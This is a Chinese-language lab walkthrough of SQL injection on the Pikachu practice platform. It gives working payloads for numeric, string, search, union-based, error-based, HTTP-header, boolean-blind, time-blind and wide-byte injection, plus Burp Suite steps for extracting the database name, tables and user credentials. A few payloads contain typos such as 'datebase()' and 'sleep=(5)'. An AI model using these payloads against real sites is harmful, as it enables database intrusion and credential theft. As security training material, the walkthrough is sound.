sql注入
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
sql注入攻击流程
1. 注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现s
手动方式:手工构造sql inject测试语句进行注入点发现
2. 信息获取
通过注入点取得期望得到的数据
1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2. 数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
3. 获取权限 获取操作系统权限:通过数据库执行shell,上传木马
Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入
数字型注入(post)
首先选择数字1 ,点击查询
由于是post型,所以我们抓包,做一下修改,修改为恒成立 id=1 or 1=1
将其发送到Repeater,点击Go
可以看到Render里取出了数据库中全部数据,说明存在数字型注入漏洞。
可以看下源码,这里没有做任何处理
字符型注入(get)
我们先输入kobe
因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试(参考sqli-labs的方法,几乎每一关都用),加单引号、双引号、括号、以及他们的组合这里需要注意闭合后面注释 最后我们试出来是单引号
kobe' or 1=1#
搜索型注入
我们先输入一个字母k
可以查看一下源码(路径如图所示)
可以看到,这里用了搜索的sql语句:select username ,id ,email from member where username like '%$name%'
用了一个like ‘%xxxx%’, 同样的道理,可以选择闭合sql语句:k%' or 1=1#
成功闭合,所有数据显示出来
xx型注入
相同的道理,只是数据包过形式不同
可以查看源码(路径如下)也可以自己尝试出来
所以构造 k') or 1=1#
联合查询
我们在sqli-labs中用到过多次联合查询的语句,下面来回顾一下(以xx注入类型为例)
判断字段数 a') order by 2#(数字可以改变,判断出来字段数为2)
查库 a') union select database(),2# (查到数据库为pikachu)
查表 a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
查询users表中的字段名: a') union select table_name,column_name from information_schema.columns where table_name='users'#
联合查询得到用户名和密码:a') union select username,password from users#
insert/updata注入(报错注入)
点击注册
条件:后台没有屏蔽报错信息
常用函数:updatexml() exactvalue() floor()(取整函数)
基于insert/update下的报错
1' or updatexml(1,concat(0x7e,datebase()),0) or'
基于delete下的报错
1' or updatexml(1,concat(0x7e,datebase()),0)
基于exactvalue()
kobe' and extractvalue(0,concat(0x7e,version()))#
构造语句 1' or updatexml(1,concat(0x7e,database()),0) or'
密码必填可以随意输
得到皮卡丘的数据库名字是 pikachu
update注入
先登录进去,使用lucy/123456 然后在修改信息的框中直接填入语句即可,payload和insert的相同
1' or updatexml(1,concat(0x7e,database()),0) or'
得到皮卡丘的数据库名字是 pikachu
delete注入
基于delete下的报错
1 or updatexml(1,concat(0x7e,datebase()),0)
删除的时候设置代理,抓包
将其发送到Repeater,然后改包,将id后面的数字改掉
由于是get的类型的 在payload记得进行url编码
payload 在上面已经提到
1 or updatexml(1,concat(0x7e,database()),0)
编码之后,可以看到空格变为了加号,点击Go
得到数据库pikachu
http header 注入
原理:有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。
首先登陆 admin/123456
发现有对头部信息的获取,所以可能存在注入
抓包,发送到Repeater
修改user-agent 将信息改为 firefox' or updatexml(1,concat(0x7e,database()),0) or '
得到数据库为pikachu
基于boolean盲注(布尔盲注)
表现:
1.没有报错信息
2.结果都只显示两种情况(0或1)
3.在正确的输入下,输入and 1=1/and 1=2可以判断
实际上需要自己一个一个测试出来
输入 Kobe’ and ascii(substr(database(),1,1))>113#
Kobe’ and ascii(substr(database(),1,1))=112#
获取表名
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
获取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
基于时间的盲注
Kobe' and sleep(5)# 页面会延迟五秒
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回结果 说明不是 "a" 改为”p”不返回 一直到确定数据库的全称。
宽字节注入
当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的
因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。
kobe %df' or 1=1#
我们构造sql查询语句就可以了